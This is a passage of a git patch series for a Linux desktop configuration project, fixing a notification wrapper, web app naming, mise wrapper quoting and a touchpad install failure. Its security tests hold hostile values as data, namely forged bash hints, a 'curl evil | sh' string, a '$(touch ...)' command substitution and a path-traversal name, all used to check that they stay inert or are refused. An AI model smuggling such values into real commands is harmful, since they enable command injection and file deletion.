fi headline=$1 shift -if (($# > 0)) && [[ $1 != -* ]]; then +# The description is the next positional, taken as text even when it begins with +# a dash — a body like "-50% off" or a negative number is content, not options. +# Only a recognized option flag or --exec in that slot is not the description. +known_flag() { + case $1 in + -g | --glyph | -u | --urgency | --app-name | -i | --icon | -t | --expire-time | --image | -r | --replace-id | -p | --print-id | --exec) return 0 ;; + --glyph=* | --urgency=* | --app-name=* | --icon=* | --expire-time=* | --image=* | --replace-id=*) return 0 ;; + esac + return 1 +} + +if (($# > 0)) && ! known_flag "$1"; then description=$1 shift fi @@ -144,7 +160,7 @@ if [[ -n $image ]]; then fi if ((exec_present)); then - if ((${#exec_args[@]} == 0)); then + if ((${#exec_args[@]} == 0)) || [[ -z ${exec_args[0]} ]]; then echo "--exec needs a command: --exec [args...]" >&2 exit 1 fi @@ -174,11 +190,22 @@ hint_count=$((${#hints[@]} / 3)) # omarchy-exec-argv is set only from --exec. # # Signature susssasa{sv}i: app_name, replaces_id, app_icon, summary, body, -# actions (empty), hints, expire_timeout. -busctl --user -- call \ - org.freedesktop.Notifications /org/freedesktop/Notifications \ - org.freedesktop.Notifications Notify susssasa{sv}i \ - "$app_name" 0 "$app_icon" "$headline" "$description" \ - 0 \ - "$hint_count" "${hints[@]}" \ - "$expire_timeout" >/dev/null +# actions (empty), hints, expire_timeout. replaces_id (from -r) updates a toast +# in place; -p prints the returned id so a caller can reuse it. +notify_cmd=( + busctl --user -- call + org.freedesktop.Notifications /org/freedesktop/Notifications + org.freedesktop.Notifications Notify susssasa{sv}i + "$app_name" "$replaces_id" "$app_icon" "$headline" "$description" + 0 + "$hint_count" "${hints[@]}" + "$expire_timeout" +) + +if ((print_id)); then + # busctl prints the UINT32 return as "u "; emit just the id. + out=$("${notify_cmd[@]}") + printf '%s\n' "${out##* }" +else + "${notify_cmd[@]}" >/dev/null +fi diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index 2f4d531c..37d29675 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -9,10 +9,12 @@ trap 'rm -rf "$tmpdir"' EXIT args_file="$tmpdir/args" -# Stub the D-Bus transport and record the Notify call verbatim. +# Stub the D-Bus transport: record the Notify call verbatim and echo a returned +# id the way busctl prints a UINT32 return ("u "). printf '%s\n' \ '#!/bin/bash' \ 'printf "%s\n" "$@" >"$OMARCHY_TEST_BUSCTL_ARGS"' \ + 'echo "u 42"' \ >"$tmpdir/busctl" chmod +x "$tmpdir/busctl" @@ -66,6 +68,24 @@ pass "notification wrapper issues a Notify call with app, icon, urgency, glyph, [[ -f $tripwire ]] && fail "notification wrapper must never invoke notify-send" pass "notification wrapper never invokes notify-send" +# Replace-in-place: -p prints the returned id, -r reuses it (the display text +# size toast refreshes one notification instead of stacking a pile). +returned_id=$(send "Restart Foot" -p) +[[ $returned_id == "42" ]] || fail "notification wrapper prints the returned id with -p" "$returned_id" +: >"$args_file" +send -r 42 "Restart Foot" >/dev/null +load +[[ ${args[9]} == "42" ]] || fail "notification wrapper sets replaces_id from -r" "${args[9]}" +pass "notification wrapper supports -p (print id) and -r (replace id)" + +# The --flag=value form works too (the acceptance suite uses --expire-time=15000). +: >"$args_file" +send "Acceptance" "Body" --expire-time=15000 >/dev/null +load +[[ ${args[-1]} == "15000" ]] || fail "notification wrapper accepts --flag=value" "${args[-1]}" +[[ ${args[12]} == "Body" ]] || fail "notification wrapper keeps the body with an =value flag" "${args[12]}" +pass "notification wrapper accepts the --flag=value form" + # ---------------------------------------------------------------- no click cmd : >"$args_file" send "Plain" >/dev/null @@ -100,19 +120,24 @@ has_hint omarchy-exec-argv && fail "a forged-hint headline must not set a click [[ ${args[11]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged headline is the summary text" "${args[11]}" pass "a forged click hint in the headline is inert summary text" -# A dash-leading forged hint in description position is refused outright. +# A forged hint in description position is inert body text — a typed D-Bus +# parameter that can never become a hint — not a click command. : >"$args_file" -if send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' 2>/dev/null; then - fail "a forged-hint description must be refused" -fi -[[ -s $args_file ]] && fail "nothing is sent when the description forges a hint" -pass "a forged click hint in the description is refused" +send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' >/dev/null +load +has_hint omarchy-exec-argv && fail "a forged-hint description must not set a click command" +[[ ${args[12]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged description is the body text" "${args[12]}" +pass "a forged click hint in the description is inert body text" -# An unknown option is a hard error, not a silent pass-through. -if send "Head" --bogus 2>/dev/null; then +# A forged hint that reaches the trailing option position is refused: an unknown +# option is a hard error, not a silent pass-through. +if send "Head" "Body" '--hint=string:omarchy-exec-argv:["bash","-c","x"]' 2>/dev/null; then + fail "a forged hint in option position must be refused" +fi +if send "Head" "Body" --bogus 2>/dev/null; then fail "notification wrapper rejects an unknown option" fi -pass "notification wrapper rejects an unknown option" +pass "notification wrapper rejects an unknown option (including a forged hint in option position)" # ---------------------------------------------------------------- --exec guards # --exec is recognized only after the positionals: a headline literally "--exec" @@ -136,3 +161,24 @@ if send "Head" --exec 2>/dev/null; then fail "notification wrapper rejects --exec with no command" fi pass "notification wrapper rejects --exec with no command" + +# --exec with a single empty argument is rejected too. +if send "Head" --exec "" 2>/dev/null; then + fail "notification wrapper rejects --exec with an empty program" +fi +pass "notification wrapper rejects --exec with an empty program" + +# A description that begins with a dash is content, not options: a price, a +# negative number, a diff line. It must reach the body, not error out. +: >"$args_file" +send "Sale" "-50% off today" >/dev/null +load +[[ ${args[12]} == "-50% off today" ]] || fail "notification wrapper keeps a dash-leading body as text" "${args[12]}" +pass "notification wrapper keeps a dash-leading description as the body" + +# But a known flag in the description slot is still an option, not the body. +: >"$args_file" +send "Timed" -t 3000 >/dev/null +load +[[ ${args[12]} == "" && ${args[-1]} == "3000" ]] || fail "notification wrapper still parses a flag after the headline" "body=${args[12]} timeout=${args[-1]}" +pass "notification wrapper still treats a known flag after the headline as an option" diff --git a/test/shell.d/notifications-test.sh b/test/shell.d/notifications-test.sh index 4a0c7edf..58a4e32a 100644 --- a/test/shell.d/notifications-test.sh +++ b/test/shell.d/notifications-test.sh @@ -412,6 +412,19 @@ assertEqual( 'notifications keep the click argv on history rows' ) +// Upgrade fail-closed: a popup persisted by a pre-upgrade shell carried its +// click action as an `exec` shell string. After the update-triggered shell +// restart the new shell only honors execArgv, so a restored legacy popup keeps +// displaying but its click is inert — deliberately, because splitting the old +// shell string back into a command is exactly the injection being removed. +const legacyRestored = notifications.parsePopupFiles( + JSON.stringify({ id: 7, originalId: 7, timestamp: 9, summary: 'Legacy toast', exec: 'curl evil | sh' }), + 1 +)[0] +assertEqual(legacyRestored.execArgv || '', '', 'a restored legacy exec shell string is not carried into execArgv') +assert(!('exec' in legacyRestored), 'a restored legacy popup drops the old exec field') +assertEqual(notifications.parseExecArgv(legacyRestored.execArgv || ''), null, 'a restored legacy popup has no runnable click action') + const serviceQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/Service.qml'), 'utf8') assert( /readonly property int historyLimit: 10/.test(serviceQml), From 7c896d3521f4fe0a22d49226caef69b184b2d222 Mon Sep 17 00:00:00 2001 From: Taksh Date: Mon, 24 Aug 2026 07:16:53 +0530 Subject: [PATCH 028/336] Keep a web app name out of the launcher's directory structure The app name becomes a filename, and omarchy-webapp-install ran `mkdir -p "$(dirname "$DESKTOP_FILE")"` over it, so every slash turned into a directory level. Typing a URL into the Name field -- the reported way in -- wrote the launcher to `~/.local/share/applications/http:/127.0.0.1:4000/.desktop`. Removal could then never reach it. The picker lists the file but displays a name derived from the path, and the removal rebuilt a flat `$DESKTOP_DIR/$APP_NAME.desktop` from that name, so `rm -f` deleted nothing and the app stayed in the launcher with no error. Refuse a name containing a slash rather than silently renaming what the user typed, and delete the file the scan actually found instead of a path rebuilt from its display name. The second half also clears up whatever earlier versions nested, which a reconstructed path cannot address. --- bin/omarchy-webapp-install | 14 ++++++-- bin/omarchy-webapp-remove | 34 +++++++++++++----- test/shell.d/webapp-name-test.sh | 61 ++++++++++++++++++++++++++++++++ 3 files changed, 99 insertions(+), 10 deletions(-) create mode 100644 test/shell.d/webapp-name-test.sh diff --git a/bin/omarchy-webapp-install b/bin/omarchy-webapp-install index acfdf858..b7985968 100755 --- a/bin/omarchy-webapp-install +++ b/bin/omarchy-webapp-install @@ -104,6 +104,15 @@ if [[ -z $APP_NAME || -z $APP_URL ]]; then exit 1 fi +# The name becomes a filename. A slash would turn it into directory levels, so +# the launcher lands somewhere omarchy-webapp-remove cannot address and the app +# is stuck in the launcher. Refuse rather than silently renaming what the user +# typed -- most often it is a URL entered in the name field. +if [[ $APP_NAME == */* ]]; then + echo "App name cannot contain '/': $APP_NAME" + exit 1 +fi + if [[ -z $ICON_REF ]]; then ICON_VALUE=$(safe_icon_name "$APP_NAME") mkdir -p "$ICON_DIR" @@ -132,8 +141,9 @@ fi EXEC_COMMAND="${CUSTOM_EXEC:-omarchy-launch-webapp $APP_URL}" # Create application .desktop file -DESKTOP_FILE="$HOME/.local/share/applications/$APP_NAME.desktop" -mkdir -p "$(dirname "$DESKTOP_FILE")" +DESKTOP_DIR="$HOME/.local/share/applications" +DESKTOP_FILE="$DESKTOP_DIR/$APP_NAME.desktop" +mkdir -p "$DESKTOP_DIR" cat >"$DESKTOP_FILE" <"$tmp_dir/bin/$stub" + chmod +x "$tmp_dir/bin/$stub" +done + +run_install() { + HOME="$tmp_dir/home" PATH="$tmp_dir/bin:$PATH" \ + "$ROOT/bin/omarchy-webapp-install" "$@" +} + +run_remove() { + HOME="$tmp_dir/home" PATH="$tmp_dir/bin:$PATH" OMARCHY_REMOVE_NOTIFY=false \ + "$ROOT/bin/omarchy-webapp-remove" "$@" +} + +apps_dir="$tmp_dir/home/.local/share/applications" + +# A URL typed into the name field is the reported way in. Every slash used to +# become a directory level, leaving a launcher nothing could address. +if run_install "http://example.test/oops" "https://example.com" hey >/dev/null 2>&1; then + fail "webapp install rejects a name containing a slash" +fi +[[ -e "$apps_dir/http:" ]] && + fail "webapp install does not create a directory from a slashed name" +pass "webapp install rejects a name that would nest the launcher" + +# A normal name still installs and removes. +run_install "Example App" "https://example.com" hey >/dev/null +[[ -f "$apps_dir/Example App.desktop" ]] || + fail "webapp install writes the launcher for an ordinary name" +run_remove "Example App" >/dev/null +[[ -f "$apps_dir/Example App.desktop" ]] && + fail "webapp remove deletes the launcher it installed" +pass "webapp install and remove round-trip an ordinary name" + +# Anything installed by an older version can still be nested. Removal has to +# reach it, which a path rebuilt from the displayed name never could. +mkdir -p "$apps_dir/http:/127.0.0.1:4000" +cat >"$apps_dir/http:/127.0.0.1:4000/.desktop" <<'DESKTOP' +[Desktop Entry] +Name=http://127.0.0.1:4000 +Exec=omarchy-launch-webapp https://127.0.0.1:4000 +Type=Application +DESKTOP + +# This is the name the picker shows for that file: the script strips .desktop +# from the path and then takes the basename, which lands on the directory. +run_remove "127.0.0.1:4000" >/dev/null +[[ -f "$apps_dir/http:/127.0.0.1:4000/.desktop" ]] && + fail "webapp remove deletes a launcher left nested by an older install" +pass "webapp remove reaches a nested legacy launcher" From b6a8f2453fd69121498e4c7051b4de51ebe0a829 Mon Sep 17 00:00:00 2001 From: Adolanium <94890352+Adolanium@users.noreply.github.com> Date: Mon, 24 Aug 2026 07:15:44 +0300 Subject: [PATCH 029/336] Quote mise-install arguments and refuse unusable command names The wrapper is written through an unquoted heredoc, so the package and bin names land in it as shell source. A package name carrying shell characters became code that ran every time the wrapper ran. The command name is used raw as a file name under ~/.local/bin, so a slash in it wrote and removed somewhere else entirely. Quote both values with printf %q, and refuse command names that are not plain file names before anything is removed or written. --- bin/omarchy-mise-install | 23 ++++++++- test/shell.d/mise-install-test.sh | 84 +++++++++++++++++++++++++++++++ 2 files changed, 105 insertions(+), 2 deletions(-) create mode 100644 test/shell.d/mise-install-test.sh diff --git a/bin/omarchy-mise-install b/bin/omarchy-mise-install index e6dfc96c..8bec3f31 100755 --- a/bin/omarchy-mise-install +++ b/bin/omarchy-mise-install @@ -12,8 +12,27 @@ package=$1 command=${2:-$1} bin=${3:-$command} +# The command name becomes a file name under ~/.local/bin, so a slash in it +# writes the wrapper somewhere else and the rm below deletes somewhere else. A +# leading dot hides it or walks up, and a leading dash makes a name that reads +# as an option to whatever picks it up. Checked before anything is removed or +# written, and kept to those shapes so package names like npm:playwright still +# stand in for the command name. +case "$command" in + */* | .* | -* | *[[:cntrl:]]*) + echo "omarchy-mise-install: '$command' is not usable as a command name" >&2 + exit 1 + ;; +esac + mkdir -p "$HOME/.local/bin" +# The heredoc below is unquoted, so whatever these hold is written into the +# wrapper as shell source. Quote them the way omarchy-install-and-launch does, so +# a package name carrying shell characters stays one argument instead of running. +printf -v package_arg '%q' "$package" +printf -v bin_arg '%q' "$bin" + # These tools install and upgrade on first run, so mise's release cooldown would # hold a new version back for days after it ships. Exported rather than set on # the install line alone, so resolving the version to execute agrees with the @@ -22,8 +41,8 @@ rm -f "$HOME/.local/bin/$command" cat >"$HOME/.local/bin/$command" <"$stub_bin/mise" <<'SH' +#!/bin/bash + +printf 'mise' >>"$OMARCHY_MISE_TEST_LOG" +for arg in "$@"; do + printf '\t%s' "$arg" >>"$OMARCHY_MISE_TEST_LOG" +done +printf '\n' >>"$OMARCHY_MISE_TEST_LOG" +SH +chmod +x "$stub_bin/mise" + +install_wrapper() { + HOME="$home" "$ROOT/bin/omarchy-mise-install" "$@" +} + +# The ordinary case still works, and every call site in install/user/mise.sh +# passes names of this shape. +install_wrapper npm:playwright playwright >/dev/null +[[ -x $home/.local/bin/playwright ]] || + fail "a normal install writes an executable wrapper" + +log="$tmpdir/normal.log" +: >"$log" +OMARCHY_MISE_TEST_LOG="$log" PATH="$stub_bin:$PATH" "$home/.local/bin/playwright" >/dev/null +grep -Fqx $'mise\tuse\t-g\t--quiet\tnpm:playwright' "$log" || + fail "the wrapper asks mise for the package it was given" "$(cat "$log")" + +pass "a normal install writes a wrapper that names its package" + +# A package name is data. Quoted with %q it reaches mise as one argument +# instead of being read as shell source when the wrapper runs. +install_wrapper 'npm:pkg$(touch '"$tmpdir"'/PWNED)end' hostile >/dev/null + +log="$tmpdir/hostile.log" +: >"$log" +OMARCHY_MISE_TEST_LOG="$log" PATH="$stub_bin:$PATH" "$home/.local/bin/hostile" >/dev/null + +[[ -e $tmpdir/PWNED ]] && + fail "a package name with shell characters does not run when the wrapper does" \ + "wrapper: $(cat "$home/.local/bin/hostile")" + +grep -Fqx $'mise\tuse\t-g\t--quiet\tnpm:pkg$(touch '"$tmpdir"'/PWNED)end' "$log" || + fail "the package reaches mise whole" "$(cat "$log")" + +pass "a package name with shell characters reaches mise as one argument" + +# The command name is a file name under ~/.local/bin. These shapes escape it, +# hide it, or make something that reads as an option. +for name in ../escaped .hidden -dash; do + if install_wrapper somepkg "$name" >/dev/null 2>"$tmpdir/err"; then + fail "a command name of '$name' is refused" + fi + grep -Fq 'is not usable as a command name' "$tmpdir/err" || + fail "the refusal says why for '$name'" "$(cat "$tmpdir/err")" +done + +pass "command names that are not plain file names are refused" + +# The refusal has to land before the rm, which would otherwise delete the +# escaped path on its way to failing. +victim="$tmpdir/victim" +printf 'keep me\n' >"$victim" +if install_wrapper somepkg "../../../..$victim" >/dev/null 2>&1; then + fail "an escaping command name is refused" +fi +[[ -f $victim ]] || + fail "an escaping command name removes nothing outside ~/.local/bin" + +pass "an escaping command name removes nothing outside ~/.local/bin" From e090d01877ebd3bf172d26cb5c8b62b1dcd14b76 Mon Sep 17 00:00:00 2001 From: Adolanium <94890352+Adolanium@users.noreply.github.com> Date: Mon, 24 Aug 2026 07:34:36 +0300 Subject: [PATCH 030/336] Cover the control-character branch in the mise-install guard The refusal table exercised slash, leading dot and leading dash but never a control character, so that branch of the guard could have been dropped without a test noticing. Add a newline and a tab case, labelled so the value stays out of the output. --- test/shell.d/mise-install-test.sh | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/test/shell.d/mise-install-test.sh b/test/shell.d/mise-install-test.sh index edebd05a..951db41d 100644 --- a/test/shell.d/mise-install-test.sh +++ b/test/shell.d/mise-install-test.sh @@ -60,13 +60,26 @@ grep -Fqx $'mise\tuse\t-g\t--quiet\tnpm:pkg$(touch '"$tmpdir"'/PWNED)end' "$log" pass "a package name with shell characters reaches mise as one argument" # The command name is a file name under ~/.local/bin. These shapes escape it, -# hide it, or make something that reads as an option. -for name in ../escaped .hidden -dash; do +# hide it, make something that reads as an option, or carry characters that have +# no business in a file name. Labelled so a newline in the value does not end up +# inside the test output. +refused=( + "a slash" "../escaped" + "a leading dot" ".hidden" + "a leading dash" "-dash" + "a newline" $'with\nnewline' + "a tab" $'with\ttab' +) + +for (( i = 0; i < ${#refused[@]}; i += 2 )); do + label=${refused[i]} + name=${refused[i + 1]} + if install_wrapper somepkg "$name" >/dev/null 2>"$tmpdir/err"; then - fail "a command name of '$name' is refused" + fail "a command name with $label is refused" fi grep -Fq 'is not usable as a command name' "$tmpdir/err" || - fail "the refusal says why for '$name'" "$(cat "$tmpdir/err")" + fail "the refusal says why for a command name with $label" "$(cat "$tmpdir/err")" done pass "command names that are not plain file names are refused" From 44b00a4e80c0d3bf19464d18bcf9ca2f35e02a78 Mon Sep 17 00:00:00 2001 From: David Helmus Date: Mon, 24 Aug 2026 08:52:25 +0200 Subject: [PATCH 031/336] test: avoid mise shim recursion --- test/shell.d/copy-url-shortcut-migration-test.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/shell.d/copy-url-shortcut-migration-test.sh b/test/shell.d/copy-url-shortcut-migration-test.sh index f8cf3497..dd25420e 100644 --- a/test/shell.d/copy-url-shortcut-migration-test.sh +++ b/test/shell.d/copy-url-shortcut-migration-test.sh @@ -28,7 +28,7 @@ write_stale_preferences() { stub_bin="$test_dir/bin" mkdir -p "$stub_bin" -REAL_PYTHON=$(command -v python3) +REAL_PYTHON=$(command -p -v python3) export REAL_PYTHON run_migration() { From 535d8f3485581b35ab0d368d4179b362eb6dea32 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Mon, 24 Aug 2026 14:36:09 +0200 Subject: [PATCH 032/336] Regenerate mise wrappers that still print mise's output to stdout (#8041) omarchy-mise-install gained --quiet on its `mise use -g` line so a wrapper no longer prints mise's "tools: pkg@version" ahead of the tool's own output. That only changes wrappers written from then on, and the migration that installed the current ones is already marked complete, so every wrapper already on disk keeps polluting stdout: `claude --version` still answers with two lines, and a wrapper for a protocol-speaking command answers with a line its caller cannot parse. Rewrite them through omarchy-mise-install so the template stays in one place. Wrappers were written by four different generated forms over time and only the ones a later migration happened to regenerate moved forward, so all four are recognized. The whole file has to match one of them exactly, which leaves a wrapper someone has added a line to alone and makes a second run a no-op. Claude-Session: https://claude.ai/code/session_01Mv1FyKG2VGZRdtknQ7YjU8 Co-authored-by: Claude Opus 5 (1M context) --- migrations/1787573629.sh | 69 ++++++++ .../mise-wrapper-quiet-migration-test.sh | 160 ++++++++++++++++++ 2 files changed, 229 insertions(+) create mode 100644 migrations/1787573629.sh create mode 100755 test/shell.d/mise-wrapper-quiet-migration-test.sh diff --git a/migrations/1787573629.sh b/migrations/1787573629.sh new file mode 100644 index 00000000..a01cc9c6 --- /dev/null +++ b/migrations/1787573629.sh @@ -0,0 +1,69 @@ +echo "Regenerate mise wrappers that still print mise's own output to stdout" + +# omarchy-mise-install gained `--quiet` on its `mise use -g` line so a wrapper +# stops printing mise's "tools: pkg@version" ahead of the tool's own output. +# That only changes wrappers written from then on, and the migration that +# installed the current ones is already marked complete, so every wrapper on +# disk keeps polluting stdout -- `claude --version` still answers with two +# lines, and a wrapper for a protocol-speaking command answers with a line its +# caller cannot parse. Rewrite them through omarchy-mise-install so the +# template stays in one place. + +# Every generated form that predates --quiet, rebuilt from the package and bin +# the file itself names. Wrappers were written by all of these over time and +# only the ones a later migration happened to regenerate moved forward, so a +# machine can still be carrying any of them. +stale_template() { + local form=$1 package=$2 bin=$3 + + case $form in + cooldown-export) + printf '#!/bin/bash\nexport MISE_MINIMUM_RELEASE_AGE=0\nmise use -g "%s" || exit 1\nexec mise x "%s" -- "%s" "$@"' "$package" "$package" "$bin" ;; + bail-on-failure) + printf '#!/bin/bash\nmise use -g "%s" || exit 1\nexec mise x "%s" -- "%s" "$@"' "$package" "$package" "$bin" ;; + mise-exec) + printf '#!/bin/bash\nmise use -g "%s"\nexec mise exec "%s" -- "%s" "$@"' "$package" "$package" "$bin" ;; + bare-exec) + printf '#!/bin/bash\nmise use -g "%s"\nexec "%s" "$@"' "$package" "$bin" ;; + esac +} + +bin_dir="$HOME/.local/bin" + +[[ -d $bin_dir ]] || exit 0 + +for wrapper in "$bin_dir"/*; do + [[ -f $wrapper && ! -L $wrapper && -r $wrapper ]] || continue + + # A generated wrapper is four short lines. ~/.local/bin also holds real + # binaries -- uv and uvx land here from the Python dev env -- so check the + # size before reading rather than pulling a 30MB executable into memory to + # discover it is not a wrapper. + (($(stat -c%s "$wrapper") <= 1024)) || continue + + contents=$(<"$wrapper") + + package=$(sed -n 's/^mise use -g "\(.*\)"\( || exit 1\)*$/\1/p' <<<"$contents") + bin=$(sed -n \ + -e 's/^exec mise x ".*" -- "\(.*\)" "\$@"$/\1/p' \ + -e 's/^exec mise exec ".*" -- "\(.*\)" "\$@"$/\1/p' \ + -e 's/^exec "\(.*\)" "\$@"$/\1/p' <<<"$contents") + + [[ -n $package && -n $bin ]] || continue + + # The whole file has to be one of those forms exactly. A wrapper someone has + # added a line to is left as it is rather than silently regenerated without + # that line, and one already carrying --quiet matches nothing here, which is + # what makes re-running this a no-op. + stale=0 + for form in cooldown-export bail-on-failure mise-exec bare-exec; do + if [[ $contents == "$(stale_template "$form" "$package" "$bin")" ]]; then + stale=1 + break + fi + done + + ((stale)) || continue + + omarchy-mise-install "$package" "${wrapper##*/}" "$bin" +done diff --git a/test/shell.d/mise-wrapper-quiet-migration-test.sh b/test/shell.d/mise-wrapper-quiet-migration-test.sh new file mode 100755 index 00000000..ff207d0f --- /dev/null +++ b/test/shell.d/mise-wrapper-quiet-migration-test.sh @@ -0,0 +1,160 @@ +#!/bin/bash + +set -euo pipefail + +source "$(dirname "${BASH_SOURCE[0]}")/base-test.sh" + +migration="$ROOT/migrations/1787573629.sh" +test_dir=$(mktemp -d) +trap 'rm -rf "$test_dir"' EXIT + +home="$test_dir/home" +bin_dir="$home/.local/bin" +mkdir -p "$bin_dir" + +# The migration calls omarchy-mise-install to rewrite a wrapper, so the real +# one has to be reachable: this proves the template it writes today, not a +# copy of it that could drift. +run_migration() { + HOME="$home" PATH="$ROOT/bin:$PATH" bash -euo pipefail "$migration" >/dev/null +} + +write_stale_wrapper() { + local command=$1 package=$2 bin=$3 + + cat >"$bin_dir/$command" <"$bin_dir/$command" <"$bin_dir/mise-exec-era" <<'EOF' +#!/bin/bash +mise use -g "npm:some/tool" +exec mise exec "npm:some/tool" -- "tool-bin" "$@" +EOF +cat >"$bin_dir/bare-exec-era" <<'EOF' +#!/bin/bash +mise use -g "aqua:some/other" +exec "other-bin" "$@" +EOF +chmod +x "$bin_dir/mise-exec-era" "$bin_dir/bare-exec-era" + +run_migration + +grep -qF 'mise use -g --quiet "claude" || exit 1' "$bin_dir/claude" || + fail "migration adds --quiet to a stale wrapper" +pass "migration adds --quiet to a stale wrapper" + +grep -qF 'mise use -g --quiet "github:can1357/oh-my-pi" || exit 1' "$bin_dir/omp" || + fail "migration keeps a wrapper's package when the command name differs" +grep -qF 'exec mise x "github:can1357/oh-my-pi" -- "omp" "$@"' "$bin_dir/omp" || + fail "migration keeps a wrapper's bin name when the command name differs" +pass "migration preserves package and bin names" + +grep -qF 'exec mise x "npm:@kitlangton/ghui" -- "ghui" "$@"' "$bin_dir/ghui" || + fail "migration preserves a scoped npm package name" +pass "migration preserves a scoped npm package name" + +grep -qF 'mise use -g --quiet "github:someone/custom-tool" || exit 1' "$bin_dir/custom-tool" || + fail "migration rewrites a wrapper on the pre-export template" +grep -qF 'export MISE_MINIMUM_RELEASE_AGE=0' "$bin_dir/custom-tool" || + fail "migration brings a pre-export wrapper up to the current template" +pass "migration rewrites wrappers on the pre-export template" + +grep -qF 'mise use -g --quiet "npm:some/tool" || exit 1' "$bin_dir/mise-exec-era" || + fail "migration rewrites a wrapper on the mise-exec template" +grep -qF 'exec mise x "npm:some/tool" -- "tool-bin" "$@"' "$bin_dir/mise-exec-era" || + fail "migration keeps the bin name from a mise-exec wrapper" +grep -qF 'mise use -g --quiet "aqua:some/other" || exit 1' "$bin_dir/bare-exec-era" || + fail "migration rewrites a wrapper on the bare-exec template" +grep -qF 'exec mise x "aqua:some/other" -- "other-bin" "$@"' "$bin_dir/bare-exec-era" || + fail "migration keeps the bin name from a bare-exec wrapper" +pass "migration rewrites every generated form that predates --quiet" + +[[ -x $bin_dir/claude ]] || fail "migration leaves the rewritten wrapper executable" +pass "migration leaves the rewritten wrapper executable" + +# Running twice must not touch an already-quiet wrapper. +before=$(cat "$bin_dir/claude") +run_migration +[[ $(cat "$bin_dir/claude") == "$before" ]] || fail "migration is idempotent" +pass "migration is idempotent" + +# Anything the generator did not write is the user's own file. +cat >"$bin_dir/hand-written" <<'EOF' +#!/bin/bash +export MISE_MINIMUM_RELEASE_AGE=0 +mise use -g "something" || exit 1 +echo "and then something else entirely" +EOF +cat >"$bin_dir/mismatched" <<'EOF' +#!/bin/bash +export MISE_MINIMUM_RELEASE_AGE=0 +mise use -g "one-package" || exit 1 +exec mise x "another-package" -- "bin" "$@" +EOF +# A generated wrapper someone added a line to. Regenerating would drop that +# line, so the exact-match check has to leave the whole file alone. +cat >"$bin_dir/customized" <<'EOF' +#!/bin/bash +export MISE_MINIMUM_RELEASE_AGE=0 +export SOME_TOKEN=abc123 +mise use -g "customized" || exit 1 +exec mise x "customized" -- "customized" "$@" +EOF +printf '#!/bin/bash\necho hi\n' >"$bin_dir/unrelated" +# uv and uvx land in ~/.local/bin from the Python dev env. A wrapper is a few +# short lines, so a real binary must be skipped on size, never read in whole. +head -c 5000000 /dev/urandom >"$bin_dir/uv" +chmod +x "$bin_dir/uv" +ln -s "$bin_dir/claude" "$bin_dir/linked" + +hand_written_before=$(cat "$bin_dir/hand-written") +mismatched_before=$(cat "$bin_dir/mismatched") +unrelated_before=$(cat "$bin_dir/unrelated") +customized_before=$(cat "$bin_dir/customized") + +run_migration + +[[ $(cat "$bin_dir/hand-written") == "$hand_written_before" ]] || + fail "migration leaves a hand-written script that calls mise alone" +[[ $(cat "$bin_dir/mismatched") == "$mismatched_before" ]] || + fail "migration leaves a wrapper whose two lines disagree alone" +[[ $(cat "$bin_dir/unrelated") == "$unrelated_before" ]] || + fail "migration leaves an unrelated script alone" +[[ $(cat "$bin_dir/customized") == "$customized_before" ]] || + fail "migration leaves a generated wrapper a user has added a line to alone" +[[ -L $bin_dir/linked ]] || fail "migration leaves a symlink alone" +[[ $(stat -c%s "$bin_dir/uv") -eq 5000000 ]] || fail "migration leaves a native binary alone" +pass "migration only rewrites wrappers it recognizes" + +# A machine with no ~/.local/bin at all must not fail the run. +empty_home="$test_dir/empty-home" +mkdir -p "$empty_home" +HOME="$empty_home" PATH="$ROOT/bin:$PATH" bash -euo pipefail "$migration" >/dev/null || + fail "migration succeeds when ~/.local/bin is missing" +pass "migration succeeds when ~/.local/bin is missing" From 20400badda3862b5d533cadcb20730720360934d Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Mon, 24 Aug 2026 15:33:03 +0200 Subject: [PATCH 033/336] Stop a psmouse quirk from failing every install (#7236) * Stop a psmouse quirk from failing every install install/hardware/fix-synaptic-touchpad.sh calls modprobe against the running kernel. Under 4.0 the only thing that runs it is the ISO finalizer, inside arch-chroot, where uname -r still names the live ISO's kernel while /lib/modules holds the target's. The live ISO always boots linux-t2 and the configurator gives every machine that is not a T2 Mac stock linux, so those two never match: modprobe exits 1 with "Module psmouse not found in directory /lib/modules/". run_logged returns that status and omarchy-apply-hardware runs under set -euo pipefail, so a fresh install stops on the first machine with a device named "synaptics" and no psmouse loaded -- reported from a ThinkPad in #6985, but nothing about it is Lenovo-specific. Skip the load when the running kernel's modules are not reachable, and warn instead of failing when modprobe declines for any other reason. An optional touchpad improvement should never be able to halt an install. This does not make InterTouch reach the installed system: a module loaded into the live kernel is gone at reboot, so on 4.0 this script has never applied anything to an installed machine. Persisting it means writing options psmouse synaptics_intertouch=1 to /etc/modprobe.d, which forces the SMBus transport past the kernel's own allowlist on any touchpad merely named "synaptics" in /proc/bus/input/devices. That is a hardware-behaviour change on a wide class of machines, so it is left for a maintainer to decide separately. Fixes #6985 Co-Authored-By: Claude Opus 5 (1M context) * Ask modprobe whether psmouse resolves rather than guessing at /lib/modules The reachability check ran through OMARCHY_SYNAPTIC_MODULES_DIR, an override modprobe itself never saw: it decided whether the load was attempted but could not change where modprobe looked, so the guard and the load consulted different places and the seam read as though it configured module lookup. modprobe -qn answers the same question directly -- it resolves psmouse against the running kernel without loading it -- so the guard and the load now agree by construction and the override goes away. The arch-chroot case that broke installs is still skipped silently, for the same reason it always was: the live kernel's modules are not the ones on disk. Inline the remaining /proc/bus/input/devices override at its only use. These leaves are sourced one after another into a single shell, so a variable left at the top level outlives the script that set it. Pin the wiring assertion to the run_logged call instead of any mention of the path. A commented-out line satisfied the old grep, so the test could pass with the quirk no longer running at all. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_013L5zwTiZ2CsgazyxXBiPa8 --------- 